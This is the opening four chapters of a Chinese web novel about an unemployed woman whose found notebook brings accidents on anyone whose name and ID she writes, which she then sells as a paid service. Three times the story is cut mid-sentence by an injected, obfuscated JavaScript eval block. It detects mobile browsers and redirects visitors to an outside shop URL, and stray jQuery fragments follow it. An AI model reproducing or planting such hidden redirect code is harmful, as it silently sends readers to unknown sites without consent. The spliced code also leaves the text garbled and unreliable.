《捡到一本功德负》
1. 第 1 章
“抱歉,我们不接受有案底的人。”
那是钟励毕业后的第一年,她好不容易打起精神找到一份工作,眼见就要升职,过上稳定的生活。
可巧的是,断联许久的老同学居然也来这家公司了。
所有人都知道那件事情了。
钟励惶惶不可终日,觉得同事都在用异样的眼光看待她。
她在考虑要不要辞职的时候,公司把她辞退了。
案底?
真可笑,她原本是那样一个好学生,连迟到都不敢。
钟励逃了,跑到一个很远的地方。
打着零工,不用动脑子的工作也挺好的,就是让人有点麻木。
这是她毕业的第三年了。
最近经济不太好,商业街上的店铺关了一半,不久又重开了一批,然后又倒闭。
钟励失业了。
她快要交不起房租了,可能会饿死吧。
厨房里的挂面跟辣椒酱应该还能顶半个月。
-
雨天,窗外不断传来“轰隆隆”的打雷声。
钟励无所事事躺在平铺在房间地板的瑜伽垫上。
原本她买瑜伽垫是打算运动的,可后来不知道怎么变成了坐垫,也算是物尽其用不算浪费吧。
她双目失神地看着天花板,眼珠子转了转,紧盯着天花板处的霉菌。
有部分墙皮已经被泡开了,靠着最后的倔强挂在墙壁上,还差最后一根稻草就会脱落下来。
钟励一个翻身,踩在床上拿起手机朝天花板拍了几张照片,还有一段视频。
防止到时候房东来扯皮是她造成的,扣除她的押金。
已经是晚上九点了。
钟励又点开天气预报看了下,显示未来两小时都有雨。
虽然天气预报有时候不准,但当她拿不定主意的时候,还是相信比较合适。
原本是打算等雨停了再去扔垃圾,但是雨一直不停,再等就很晚了,晚上出门不安全。
她又不喜欢留着垃圾在房子里过夜。
其他垃圾还好,做饭产生的厨余垃圾对蟑螂而言简直是天堂。
在这栋破旧的居民楼里,蟑螂是可以从下水道爬上来的。
她连拆卸的快递盒都会当天扔掉,怕虫卵孵化。
换好衣服后,钟励先是在猫眼处观望了几分钟,确定邻居没有出门的,她才小心拧开门。
关上门的时候还不忘观察门口处有无留下的可疑物品,如烟头等。
一身灰色的运动装,戴着一顶黑色的鸭舌帽,黑框眼镜架在有些出油的鼻梁上,还戴上一副蓝色口罩。
便宜的住所就是不够安全,不光路面崎岖,还伴随着下水道反上来的恶臭。
还有偶尔罢工的路灯。
钟励打开手机手电筒,雨天路滑,她缓慢地走着,同时也怕雨水溅到鞋子衣服上。
垃圾桶在一段岔路口。
四个颜色的垃圾桶端端正正地摆放着,钟励往较空的一个垃圾桶扔了进去。
扔垃圾也是一门技术活,有点像体育中考的实心球项目。
得保持下半身的稳定,避免踩线。
扔垃圾的时候要是踩到线了,就只能让鞋底带着不知名臭味的液体回家。
小雨淅淅沥沥地下着,不大,但有点惹人心烦。
钟励扔完垃圾后打道回府,突然余光瞥见一道身影躺在不远处。
不知道是不是死了,也可能是活着,一动不动的。
钟励的眼睛死气沉沉的,可能是度数太深,失去了早年的灵动。
一阵耳鸣突然袭来,她睫毛颤动,她当作什么也没看到转身离开了。
只是脚步比来时的沉重许多。
这太像了。
像极了当初的场景,简直一模一样。
下雨天,昏暗的巷子,以及坏掉的监控。
钟励将视线移到不远处的监控上,前几天打雷被劈坏了,现在还没修好呢。
多一事不如少一事不是吗?
毕竟你也不知道会不会因为一念的善意遭受到什么恶意?
当初的教训难道还不能让她记住吗?
父母四处游走托关系,亲戚朋友异样的眼光。
难道还要再经受一次?
钟励紧咬牙关,收回视线,大踏步朝家里的方向走去。
刚回到家,雨就下大了。
钟励庆幸自己出去前还没洗澡,不然洗第二遍的话,水电费又会增加了。
摆放在架子上的手机猛地振动起来,钟励擦了擦脸跟手的水迹。
心想是不是前几天投的简历收到回复了。
她划开解锁页面,确实是收到了一条短信。
只不过是献血站的感谢短信。
说她半年前捐献的血液在今天挽救了两个生命,一个产妇跟她的孩子。
钟励熄灭手机屏幕,长长叹了一口气,随即胡乱套上衣服飞奔出去。
她连伞都没带,还好雨已经小了。
她一边跑一边骂自己:
“跑什么跑,这下澡白洗了吧。到月底交水电费的时候就老实了。”
那个人还倒在路边,一身黑色的衣服,身形还能看得出是个高大的男人。
钟励没有轻举妄动,她打开手机的录制。
就算是救人,也得是在保证自己安全的前提下。
男人带着兜帽跟口罩,看不清脸。
钟励又凑近了一下,“那个?您好?您怎么样?”
她脑海中浮现大学军训时急救课上教的内容,只是大脑一片浆糊,怎么也想不起来了。
只记得跟同班同学八卦某某的恋情。
今天街上出奇的清冷,居然没什么人走动。
钟励打算报警,只是信号不好,怎么也打不出去。
奇了怪了,基站是怎么了?信号这么差。
钟励转了几个圈,手机都不行,她又走了十几米,终于才恢复信号。
她刚刚接通电话,就跑回原地,只是那人居然诡异消失了。
电话那头的接线员还问她有什么需要帮助的吗?
钟励支支吾吾的,只能说自己打错了。
难道是?
钟励不想深思,她不敢想自己可能又做错了一个决定。
她已经万劫不复了。
原地也不是什么都没有。
钟励出来得急,没戴眼镜,虽然度数没有很高,但十几米外也是人畜不分了。
她眯起眼睛,注意到男人躺着的地方居然有一道诡异的彩光。
她踱步凑上前,仔细一看,原来是一本笔记本。
纯黑色的表皮,外皮还隐隐闪烁着彩光。
笔记本上的彩光在钟励一接触到后立刻就消失了,取而代之的是一股诡异的黑雾,但转瞬即逝。
她粗略翻开笔记本看了一眼,米白色的内页,很干净没有被使用过。
按照常理而言,这种不祥的物品她已经看都不能看,立刻就离开。
但她身上发生的怪事也不少了,倒不如负负得正,说不定还能冲一下霉运。
况且,今天的场景太像当初了。
钟励心中隐隐有种预感,或许从现在开始,她可以厘清当初的谜团。
出来这一趟也不算没有收获,钟励手里掂着笔记本,还挺有分量的。
她住的居
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222634|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
民楼不高,没有电梯。
钟励脚步时轻时重,声控灯时暗时亮。
她慢慢走到自己居住的楼层,瞧见一个人站在自己门前。
那人转过身来,是房东的儿子。
他油得好像两个月没洗过头一样,笑起来牙齿也黄黄的,钟励都不忍直视。
她之前每次跟房东儿子交涉的时候,都会脱下眼镜。
细看对双方都不好。
“您有什么事吗?”
钟励率先出声道。
房东儿子笑笑,“也没什么,就是提醒你交一下房租。”
钟励眉头皱了起来,“我们合同不是签的15号吗?这才5号。”
其实这房子刚刚租的时候,钟励还是很满意的。
周遭离超市和她工作的地方都很近,房东也是一个慈祥的老太太。
可两个月前老太太突然摔了一跤,手脚从此也不太利落了,关于收租的事情就全权交给她儿子处理了。
这儿子一来,什么幺蛾子都出现了。
先是水电费异常,明显比之前的高了。
还有就是趁着钟励上班不在家,把家居换成了高耗能的,美名其曰更新家居,但实则变得很难用。
钟励自从知道有人随便进来了以后,就更换了门锁。
房东儿子一听钟励这么说,讪笑道:
“哦哟,我记错时间了,15号是吧。”
接着他摸摸脖子,往钟励面前靠近一步,说道:
“其实房租交的就是下个月的而已,我又不会占你便宜。”
钟励不欲跟他过多交谈,冷声道:
“合同几号就是几号,我会按时交的。”
才怪。
她不会续租了,还好这个月合同就截止了,她得搬家。
钟励开门之后没跟房东儿子打招呼就要关门,只是那人猛地把手伸进来,拦在门缝之间。
钟励吓了一跳,防备地问道:
“您还有什么事吗?”
玄关处有个柜子,柜子抽屉里放着小刀。
恰好钟励的手可以伸到里面,这个动作又在房东儿子的视角盲区。
“没有,就是怕你忘了交房租。”
“那我现在记住可以吗?我写下来。”
现场转账是不可能的,正好手头有一本笔记本。
钟励从鞋柜的抽屉里拿出刀小心塞到口袋里,紧接着又拿出一支笔,假笑着翻开笔记本的第一页,说道:
“李格,是吧,15号交房租。”
“要不要顺便把您的身份证号码写一下啊?防止找错人。”
钟励不太会直接攻击别人,通常都是阴阳怪气。
没想到房东儿子顿感力十足,还是说他听出来了只是不在乎。
“我的身份证号码是4408……”
“哈?”
钟励扯出一个僵硬的笑容,手都没动,原本是打算含糊过去了。
房东儿子见她不动笔,顺势就要进来。
“我来写吧,身份证号码确实是长一些的。”
钟励装作退让一步让他进来,实则脚往门踢了一脚,门直接撞在了房东儿子身上。
“我写吧我写吧,您说就是了。”
钟励以雷霆之势“唰唰唰”写下了一长串数字,并且还翻过笔记本对着房东儿子展示。
“您看看,可以了吗?”
“可以可以,那我先走了,你早点休息。”
钟励微微点头应下,冷着脸寒暄:
“您慢走。”
就在钟励转身关上门的一刹那,就听到楼梯处传来闷响,随即整栋楼的声控灯都被男人的惨叫声吵醒。
2. 第 2 章
雨天路滑,可能是有人回来的时候伞面的雨水遗留在台阶上了。
要是一不小心踩到就可能滑倒。
李格躺倒在台阶上哀叫不已,想要触碰左腿却又只能收回手。
其他人听到这动静也纷纷出来了。
叫救护车的叫救护车,关切的关切,看热闹的看热闹。
钟励藏在猫眼后看完了全程。
应该跟她没关系吧,那楼梯的水也不是她泼的。
李格被送往医院后她收回视线,猛地发现笔记本的字迹在她面前缓慢消散了。
页面又恢复了原本干净的模样,仿佛从未有人落笔过。
钟励的心脏在胸腔里挣扎,仿佛要往外跳。
耳边什么声音也听不见,只能听见“砰砰砰”的心跳声。
这是怎么回事?
难道说李格的摔倒跟这本来路不明的笔记本有关?
钟励极力想验证自己的猜测。
她深吸了一口气,在笔记本上端端正正写下了自己的名字还有身份证号码。
无事发生。
一分钟后,字迹再一次消失在她面前。
她身上没有任何不适。
钟励甚至还站起来跳了几下,喜提楼下邻居的敲门警告。
“看来对自己是没有用的。”
她小声喃喃道。
她这做法有点像给充电宝的两端都插上同一条数据线,但自己是不能给自己充电的。
但还能有谁的信息可以给她做实验呢?
钟励灵光一闪,带上眼镜钥匙跑出了门。
她今天出门这几趟抵得上一周的运动量了。
她一边跑一边注意观察街上的电线杆子。
除了一些显而易见的骗局比如重金求子之类的以外,就是逃犯的通缉消息了。
钟励对着通缉犯的信息,一个一个字认真写到笔记本上。
或许是太兴奋了,写完后钟励都还呼吸急促,心跳不已,一般歇息两分钟就能恢复平静。
但这次却难以平息。
字迹如同预料当中那般又消散了。
只是还不知道逃犯是否受到了什么影响。
哪怕真有什么动静,官方的消息她也不会立刻得知。
夜晚凉风习习,钟励感觉脑袋冰冰凉凉的。
她伸手一摸,一手的水迹。
原来是之前为了救那个男人刚刚洗完澡就跑出去了。
再后来遇上了李格,接着就是她迫切想要证明自己的猜测。
湿漉漉的头发则一直呆在头上,直到现在她冷静下来才注意到。
可能是有点着凉了,眼睛脑袋有点疼。
-
钟励熬了一个晚上,眼睛满是红血丝。
一直不间断刷着手机,生怕错过官方的消息。
刷到手机没电,还要充着电看。
直到窗外传来鸟叫声,终于听到“叮咚”一声,手机收到了官方的公告。
那个逃犯落网了。
说是逃到半路的时候,逃犯突然出了车祸,重伤昏迷了。
看来没错,这笔记本有奇异的功能。
钟励神志也因这则消息清醒了不少,她翻了个身活动身体,僵硬的右肩隐隐发疼。
突然眼前一黑,钟励阵阵发晕。
有点像是低血糖。
她晚上没什么胃口就吃了几根面条,这几天都是这么吃的,可能能量不够。
钟励撑着身体拉开床头柜的抽屉,一顿翻找,终于找到了不知道什么时候买的糖果。
撕开包装袋的时候糖果还有点化掉了。
整个人像一具尸体趴在床上,过了不知道多久钟励才恢复过来。
可能低血糖恢复了,但太困又睡过去了。
等到她再次醒来,已经是下午了。
钟励是被一阵油烟味呛醒的。
隔壁邻居的油烟机可能不太好使,每次做饭的时候油烟都容易飘到钟励的家里。
而钟励也习惯了在饭点的时候关窗,只是今天是个意外。
肚子里的馋虫也被饭菜香唤醒了,只是她只能嚼两口加了辣椒油的面条。
钟励的手上只有三百块钱了,她得省着花。
既然决定搬家了,就得打算打算。
虽然手上没什么钱,但押金还在房东手里,拿回押金,加上手上的钱。
还有一些物品她还可以放在二手网站上出去,回回血,也是钱。
加起来差不多能租到房子了。
如果有好心的房东愿意便宜租给她的话。
钟励拍了拍照片,将买的小冰箱之类的都挂到了网上。
突然脑子一动,有了一个绝妙的主意。
她是不是可以开通一个业务呢?
将捡到的笔记本利用起来。
这可是绝佳的资源啊,放在那里不用简直就是浪费。
说干就干,钟励立刻开了一个链接,她冥思苦想了一个标题。
【功德“负”小屋】
她这让人倒霉的行为有点像减人家的功德,干脆以此命名。
网上还有人卖爱因斯坦的脑子呢,她这也算不得什么。
钟励的行李没有很多,因为居所不定,所以她一直有精简自己的行李,买冰箱纯属这是必要物品。
当然走之前也要记得跟房东说退租的事情。
老太太二话不说,立刻把押金还了回来,甚至都没有检查房子的情况。
老太太还说她知道自家混账儿子干的好事了,希望钟励不要怪她。
钟励连忙应答,说她没关系。
毕竟李格都骨折了,她自然气消了。
-
钟励觉得她最近可能在走好运,刷手机的间隙居然还真让她找到一个便宜的房源。
中介甚至说不用押金,可以月租。
这对手里没多少钱的她简直是雪中送炭啊,难道她要开始走大运了?
钟励怕事情有变,当天就跟中介定下了看房子的事情。
地方离她家虽然有点距离,可钟励这个无业游民有的是时间。
中介注意到钟励的意向后,态度十分积极,还说可以接她去看房子。
钟励自然应下了,能省点路费她也很开心。
明明大夏天的,中介穿着里三层外三层的西装套装,却一点汗也没有。
房子南北通透,虽然装修很新,但不像样板房。
刚刚走进来的时候还有一股凉风,看来不用开空调也很凉快嘛。
省钱小妙招。
周边的地理位置也很不错,虽然是刚刚开发的楼盘,但周边的设施都在建设当中,想必不久就能发展起来。
这么好的房子居然租金低廉,中介还很急切脱手,想必其中有点问题。
钟励眼珠子一转,打算探探情况。
中介还等着做她生意呢,大概率不会说真话。
恰好中介接了个电话,钟励找借口下楼溜达去了,说是看看周边的绿化。
小区百米处有个便利店,钟励走进去就看到老板正在打电话呢,一边讲话一边摆放货物。
“我服了那个老太婆了,天天就让我回去,学什么拜神,我哪会那个?”
瞧见钟励来了以后,老板粗略说了两句就挂断了。
店面不大,钟励转
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222635|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了两圈,拿了点零食就去收银台付款了。
正好店里人也不多,她就趁付钱的功夫跟老板聊了起来。
“老板,这周边有没有什么拜神的东西买啊,我不太懂这些,但我婆婆又让我买,怪头疼的。”
钟励皱着眉头,苦恼不已。
老板十分认同地点头:
“就是,现在年轻人谁还信这些啊,简直封建迷信嘛,我还是姑娘家的时候就没做过这些,谁知道结婚了要做。”
“不过这附近的楼盘才刚刚建起来,周边的设施还很一般呢,像拜神用的物品,这附近没有卖的。”
钟励若有所思点点头,说道:
“可不是嘛,但长辈的话咱也只能听了。”
“对了,姐,那这附近还有没有大一点的超市啊,我刚刚搬来这里,还不太了解。”
老板摇摇头,回答道:
“从前前进路那边倒是有个大一点的超市,可是自从出事后很多人都搬走了。”
她说到这里立刻打住了,朝钟励看了一眼,没再往下说,而是简单粗暴转移了话题。
“这附近的超市还没开门呢,说是会招商来大超市。”
钟励也没继续追问,而是随便扯了些其他的。
“姐,这里的楼盘怎么样啊,在备孕了,孩子出生了不能没房子啊,想着附近有适合的就可以看看。”
老板表情顿时讳莫如深,她欲言又止,随后叹了一口气,说道:
“妹子啊,我看你也是个实诚人,我才跟你说这些。”
老板用眼神示意,看向了钟励打算要租的那个房子的所在处。
“这楼盘有一家,你可千万别买,主人家走得不吉利。”
钟励试探问道;
“不会是那个C栋1708吧。”
老板听到后,右手拍了拍桌子,神情激动。
“妹子,你也知道这个啊?”
“既然你知道,那我就直接说了,你可千万别买啊,有些人也不怕邪,住了进去,不到一个月都跑了。”
钟励打探消息完毕,便宜果然没好事。
但无论什么鬼,显然都没有穷鬼可怕。
而且按照网上的说法,要真是磁场不合,她走进房子的时候就应该觉得不适。
可她什么感觉也没有,甚至还觉得像是回到了家里一样,有点温馨。
虽然这个说法很怪异,但是她的真实感受。
钟励回到公寓后,中介扯出一个生硬的笑容,磕磕绊绊问道:
“钟小姐,您还租吗?”
中介也觉得自己理亏,说话声都变小了。
“我在楼上看到您去了小超市,您这么机敏,想必都知道关于这件房子的事情了吧。”
钟励点点头:
“是啊,我都知道了。这个公寓是凶宅吧。”
中介视死如归般闭上眼,唇色苍白。
“那今天就到这里吧,您自行离开没有问题吧,公交站离这里只有两百米。”
不打算租了就让她自己走是吧,之前的好态度烟消云散。
“咳咳。”
钟励咳了两下清嗓子,说道:
“这房子我租。”
中介还以为自己听错了,拿小指挖了挖耳朵,瞪大眼睛问道:
“您刚刚……说什么?”
房子价格是市价的五分之一,还阴凉不用开空调省电费,周边的交通设施还行。
从经济方面来说,是一个很好的选择。
至于凶宅这个因素,她也顾不得了。
大不了到时候跟鬼魂对搏。
她命也挺硬的,就看谁更硬气了。
3. 第 3 章
中介生怕钟励反悔,立刻甩出来合同,让她签了字。
“对了,这层楼还有谁住吗?”
邻居也是生活环境的重要一环,影响到生活质量的。
她之前住的房子隔音不好,晚上家长辅导功课的吼声她都听得见。
握手楼是连隔壁放电视的声音都很明显的。
钟励带耳塞已经是到耳朵发炎的程度,能自然安静入睡是再好不过了。
中介摇摇头,叹气道:
“没有,自从发生了那件事情,原先的住户都搬走了。”
这可太好了,这样就代表没有邻居可能会吵到她了。
人心存在温情,像冬日里暖洋洋的阳光。
但有时候也像一把突然出鞘的利刃,不小心就会伤害到自己。
除了没有邻居这一点以外,钟励对这里的其他因素也是很满意的。
没有发霉的墙壁,潮湿的气息。
原先的住所,回南天的时候她只能将衣服晾在室内,尽量开着空调抽干湿气。
天台虽然也有可供晒衣服的地方,但私密衣物总不好晾出去,加上她又是独居不安全。
这下好了这个公寓还有烘干机,再也不用回南天阴干衣服了。
也不用担心小强从下水道和厕所坑里爬上来。
无论什么灵异事件,都抵不过半夜起来上厕所的时候跟蟑螂眼对眼。
知情人一直说“那件事那件事”,那到底是什么事情呢?
钟励还是压制不住自己的好奇心,她盯着中介,眨眨眼笑道:
“请问,那件事是什么事啊?”
“额……”
中介含糊不清,就是不愿意说个明白。
“没什么,你既然都住下了,就不要再问了,说不定知道了以后会自己吓自己。”
不愿意说就算了吧,钟励想她可以上网查。
现在网络这么发达,只要定位到这里,总有知情人知道。
于是她点点头,一副不再过问的模样:
“好吧,那要不坐会喝口水?”
中介小心翼翼将签好的合同塞回包里,连连摆手道:
“不用了不用了,我自己走就行。”
中介脚底像抹了油,跑得飞快,不知道的还以为后面有谁追着他不放呢。
钟励粗略打扫了一下卫生,房子保持得很干净,她就大概擦一下有灰的地方。
行李还在原先租的房子里呢,就算要入住至少也得是第二天。
中介走后,钟励时隔不久也离开了公寓。
路上,她点开搜索引擎,搜索关于这间公寓发生的事情。
知情人说,这公寓里原先住着一个年轻女孩。某一天,分手已久的前男友蹲守在女孩家门口,杀害了她。
也有邻居听到了女孩的呼喊声,但认为是情侣之间的小争执,过会就好了。
接着确实没再听见吵闹声,以为是和好了,没想到是女孩再也发不出求救声。
后续公寓租出去后,也总有人在半夜听到一个女孩凄厉的惨叫。
钟励看到这里不免起了一身的鸡皮疙瘩,立刻切换到其他软件刷了会搞笑视频才缓过来。
等她冷静下来,才注意到后背已经被汗水打湿了。
在知情人绘声绘色的描述里,钟励被拖进了那个可怕的氛围里。
一时心里有些后悔,有些事情不得不信,她是否太过于草率。
可接着她又下意识安慰自己,毕竟合同已经签了,房租也交了。
她要是反悔就只能流落街头,下场会比住在凶宅更可怕吧。
况且,地球上哪片土地没有死过人。
想到这里,钟励又放宽了心,没事的没事的。
她有时候心还是很大的,回到住所后一沾枕头就睡着了,一夜无梦。
第二天一早拖着行李去了新住所,连早餐都没吃。
安顿好行李后,钟励随便吃了点饼干就开始干活了。
虽然没有邻居在,但为了安全起见,她还是在门口装上了监控。
“您好。”
钟励一边安装监控一边想事情呢,被背后突如其来的说话声吓了一跳。
“啊。”
她大叫一声,差点从凳子上摔下来。
回头一看,是一个笑眯眯的年轻男生。
上半身穿着一件普通的白色T恤,下半身是宽松版型的蓝色牛仔裤。
十分平平无奇的穿搭,在街上一抓一大把。
可他一双含情的桃花眼,眉眼艳丽,眼睫毛长得像一把小刷子。加上鼻梁高挺,嘴唇红艳,这些都给他增添了几分精致感。
但五官线条感明显,轮廓分明,又多了些许少年英气。
年纪看着不大,但浑身充满温润醇和的气度,似能包容世间万物。
钟励潜意识里是觉得这个男生人很好可以接触的,可不知道为什么,身体又下意识排斥他,毫无道理。
“您好?”
钟励往男生的身后看了眼,有影子的,是人。
“我是刚刚搬来的,住在你隔壁,1707。”
大帅哥的声音真好听啊,像潺潺的溪流,清爽又不失磁性。
可是中介不是说这一层没有人住吗?只有她一个人。
男生似乎能洞悉钟励的想法,他开口解释道:
“我是今天才来看的房子,觉得合适就搬过来了。觉得我们都住同一层楼,就打个招呼,刚刚没有吓到你吧。”
“实在是不好意思。”
男生对钟励道歉。
一不小心,钟励对上男生的视线,他眼神平静但底下似乎有数不尽的漩涡,像要把人吸进去。
因为他长得太好看,一时间光顾着去看脸了。
并且,钟励居然觉得这帅哥有些许眼熟,她一向也不是这种自来熟的人啊。
她自己嘴巴都不受控制,说出来那句大家耳熟能详的搭讪话语:
“我们是不是哪里见过?”
说完她自己都笑了,不好意思摸了摸脖子,耳垂微红。
“抱歉,我不是那个意思。”
男生摇摇头,笑道:
“可能我们是有缘吧,我看你也很面善呢。”
不知道是不是钟励的错觉,她觉得男生的重音放在了“面善”两个字上,咬字格外特别,似乎意有所指。
“我叫纪善,你呢?”
“我叫钟励。”
两人相互交换姓名后,纪善向钟励伸出了右手,说道:
“很高兴认识你。”
钟励呆呆傻傻的,感觉这场景有点像小学英语课本的对话方式,她是不是应该说一句“Nicetomeetyou,too”。
两人的手在相握的那刻,钟励感受到一股电流从右手逐渐蔓延。
似是侵略,又似乎是轻拂。
极度的不适让她立刻抽回手,后退了一步。
纪善也收回手,自然垂下在身体右侧。
这是她一个人的反应吗?
难道是最近太累出现了幻觉?
“抱歉,我是不是又吓到你了?”
纪善的声音轻柔,像一片垂落的羽毛。
“为了表达我的歉意,我请你吃顿饭吧。”
天上没有掉落的馅饼,一般只有陷阱。
现在年轻人都很注重边界感吧,哪有一上来就邀饭的,况且还是异性之间。
钟励警惕性拉满,帅哥有这么上赶着的吗?
她稍微帅一点的男同学,都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222636|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趾高气昂的,毕竟长得帅容易顺风顺水,人人都很容易看在脸的份上对他们友善。
“不用了,我先进去了。”
有可能是杀猪盘,她得看好自己的钱包还有小命。
说完后钟励不等纪善回复,转头就开门进去了。
接着又发消息问中介,是不是有人住她隔壁了?
中介表示确有其事。
邪了门了?为什么会有电流的触感?
难道是静电?可现在也不是冬天啊。
想不通就不想了,钟励不是一个会为难自己的人。
晚上,钟励在睡觉前随手投了几个简历,这已经变成她习惯的一部分了。
最近的天气都是三十几度,是很炎热的。
公寓也不知道是不是地理位置好,还是因为其他因素。
钟励开着电风扇就够凉快了,她可是极其怕热的。
夏天的时候都不会跟朋友挽着胳膊,出汗的黏糊感太难受了。
还以为搬到一个新的地方她会认床,可能会失眠或者很晚才睡着。
但一沾枕头跟吃了安眠药一样,呼呼大睡。
第二天一早起来,发现浑身酸痛,还梦到了一个早就断联的人。
“很久没有梦到了,是快要遗忘的预兆吗?”
她低声喃喃道,垂下眼帘,长长的睫毛盖住了眼底的情绪。
钟励无力抬起手拍了拍脑袋,又看了眼杂乱的床单。
怎么感觉昨天晚上跟谁打架去了?
不然怎么浑身酸胀,眼皮沉重,脖子也像被人重重锤了一下。
不过她没有听到什么惨叫声,应该无事。
跟之前的租户没有相同的遭遇。
可能收拾东西太累了,她总觉得昨天的梦里跟谁魔法对轰了。
她最近也没看什么小说电视剧啊。
钟励坐在床上醒神,休息得差不多了以后,解锁手机看看有没有什么消息。
“什么破软件,BOSS直拒,智联失联?”
简历全都石沉大海。
正当情绪消极的时候,突然手机屏幕上方弹出一条“烂泥”二手软件发来的消息。
还我老婆:【您好?】
还我老婆:【功德负是真的吗?】
消息是昨天晚上凌晨发的,这破手机现在才显示出来。
没有等到钟励的回复,对面就拍下了订单。
钟励揉了揉眼睛,张大嘴巴,震惊道:
“真有人拍下啊?”
而且她的链接页面的价格设置的是防拍价,666元呢。
忘了在详细页面写不可直拍了,主要是钟励也没想到真有人买。
直拍侠啊这是。
既然这个世界有钱人这么多,为什么不能多她一个呢?
或许是对方看到钟励的状态刷新了,又发来了消息。
“您好?在吗?直接拍下就可以了吗?”
“请问我需要提供一些什么东西呢?说名字就可以了吗?”
钟励点击对话框,键盘即刻跳了出来。
但她却沉默良久,没有打字。
还我老婆:【骗子?】
还我老婆:【无语,退钱啊,不然我去小法庭了。】
还我老婆:【你等着吧。】
别啊,钟励怕扣掉她的信誉分,到时候无论是买东西还是出物都难。
她好不容易积累起来的100%好评,不能有一点瑕疵。
钟励等不及思考更多,在键盘上快速敲下几个字。
没回复请再戳一下:【在的,亲亲。】
她染上了一种跟别人说话会自动变成客服的毛病。
没回复请再戳一下:【提供一下对方的身份证号码跟名字哦。】
4. 第 4 章
钟励按照对方发过来的东西。
一板一眼写到了笔记本上面。
既希望能起效果,但又害怕会影响到自己。
谁知道笔记本的法力从哪里补充的能量呢?万一是她的血条?
等待起效果的间隙,钟励也问了一下买家缘由。
没回复请再戳一下:【你很讨厌这个人吗?】
还我老婆:【当然了,他抢了我的女朋友。】
感情事件啊,钟励有点头疼了。
应该一笔价格一笔生意吧,她可不负责售后的。
还我老婆:【这个功德负可以让那个男的不行,然后我的女朋友回来我身边吗?】
没回复请再戳一下:【额,这里不是许愿池。】
没回复请再戳一下:【对方是可能骨折摔倒之类的。】
约莫过了五分钟,手机那头一片死寂。
钟励在心里盘算着,要不退款算了。
有些钱也不是她能挣的,副作用还不知道是什么呢?
凡是要得到什么必然失去什么。
如果要取得好成绩,就要付出努力和汗水。
如果要减肥,就要节食跟运动。
像这样轻飘飘写几个字就能让轻而易举得到一些结果。。
太悬浮飘忽了,像踩在一块软绵绵的云朵上,现在捧得高,指不定摔得有多惨。
钟励越想越觉得诡异,手上的笔记本像一块烫手山芋。
“叮咚”一声的消息提醒打断了她连绵的思绪。
【对方已经确认收货】
666元已经进入了她的账户。
不知道是不是太过兴奋导致缺氧,钟励的脑袋晕乎乎的。
身上也感觉抽离出了什么,她说不清道不明。
老婆回来了:【大师,谢谢你啊。】
老婆回来了:【那渣男不知道怎么回事出了车祸,伤到了那里。】
老婆回来了:【我女朋友也突然清醒了,说她之前像是被下蛊了一样,现在才恢复意识。愿意跟我复合了。】
老婆回来了:【还好我女朋友识破了渣男的真面目,没受到什么伤害。】
对方还在不断发着消息,但钟励已经看不清了。
她眼前模模糊糊的,像突然加深了500的度数,看不清手机的字体了。
一个个方块字组成了她自己都看不懂的排列顺序。
大脑也一片浆糊,无法理解字句的意思。
“好困啊。”
眼皮也像灌了铅,不断往下压。
仿佛回到了高中课堂,她已经很久没有这么困过了。
来不及多加思考,钟励就一头栽在了枕头上,沉沉睡了过去。
手中的笔记本失去承托的载体,“啪”的一声掉落在地板上,而上面刚刚不久才写下的字体,不出意外地消失了。
一墙之隔的纪善端坐在客厅的沙发上,原本闭着的眼睛突然睁开,漆黑的瞳孔既慈悲又冷漠。
周遭的家具除了一张沙发跟桌子以外,什么都没有,空空荡荡的。
“果然。”
他淡淡吐出两个字。
面无表情,跟不久前与钟励搭话的样子简直判若两人。
太阳东升西落,时间很快到了下午。
这会儿钟励才辗转醒来,头疼不已。
“怎么回事?我之前有这么嗜睡吗?”
钟励躺在床上开始复盘这几次的异常情况。
发现她的异样都是在使用完笔记本之后才发生的。
她越看越觉得这笔记本不祥,得赶紧丢掉才行。
钟励捡起掉落在床旁边的笔记本,找了个黑色塑料袋子装起来。
连鞋子都没来得及换,踩着室内的拖鞋就跑出去了。
本来是打算丢在垃圾桶里,但有拾荒的人要是捡到了,可能会心疼地捡起来重复利用。
只是无论如何她都找不到一个合适的地方丢掉。
她捡了一个旧瓷片,在树下吭哧吭哧地挖坑。
但身边突然围上来几个小孩,叽叽喳喳的。
“姐姐,你在挖什么呢?”
“是写给十年后的自己的一封信吗?时光机吗?”
大树下也不行,人太多了。
小孩子已经发现了,他们好奇心太重。
钟励抱着黑袋子,跑到小区门口伸手拦下一辆出租车。
随手指了一个偏僻的郊外。
不料司机师傅却开口道:
“这条路现在很挤啊,过不去。”
“为什么?”
这地方一般没什么人去,旁边也不是市中心。
除非是逢年过节的时候,才会堵车。
